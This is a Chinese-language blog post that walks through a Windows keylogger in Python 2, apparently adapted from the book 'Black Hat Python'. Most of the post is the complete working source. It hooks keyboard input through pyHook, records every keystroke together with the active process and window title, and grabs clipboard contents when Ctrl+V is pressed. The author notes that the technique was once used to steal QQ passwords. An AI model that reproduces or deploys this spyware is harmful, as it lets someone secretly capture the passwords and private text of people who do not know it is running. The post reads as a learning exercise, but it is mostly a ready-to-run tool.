您的位置:首页 > 其它

Windows键盘嗅探器

2016-05-16 20:29 169 查看

Windows键盘嗅探器

今天,闲的无聊,于是做了一个简单的键盘嗅探器,主要代码来源于《Python黑帽子》,不得不说,这本书写的特别好,带我进入了黑客的编程世界。以前学习编程,只知道常用的功能,不知道怎么入门网络安全方面,当然吗,现在还没有。。。

键盘记录是一个古老的技术,可以捕捉你在键盘上打的字符,从而知道你的隐私信息,以前QQ密码常用的盗窃就是这样实现的,当然了,一山更比一山高,现在最新版的QQ不能获取了,我试探的时候,QQ客户端会随机产生字母出来,完全无法捕捉。

不管了,我们先来看看如何获取键盘的信息,我们需要安装PyHook库,这个库封装了Windows函数SetWindowsHookEx,简称钩子函数,这个函数允许我们安装自定义的钩子函数,当特定的WIndows事件发生,这个钩子函数就会被调用,从而获得按键消息。

我们看代码:

#coding:utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
#获得前台句柄
hwnd = user32.GetForegroundWindow()
#获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))
process_id = '%d' % pid.value

executable = create_string_buffer('\x00'*512)
h_process = kernel32.OpenProcess(0x400|0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)

print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

####################################
##########钩子核心代码###############
def KeyStroke(event):
global current_window
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
####如果输入的[Ctrl+V],则获得剪贴板内容
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
return True
###############钩子管理#######
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()


最后运行,就可以获得敲键盘的所以信息了,不要用它干坏事哦!!!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: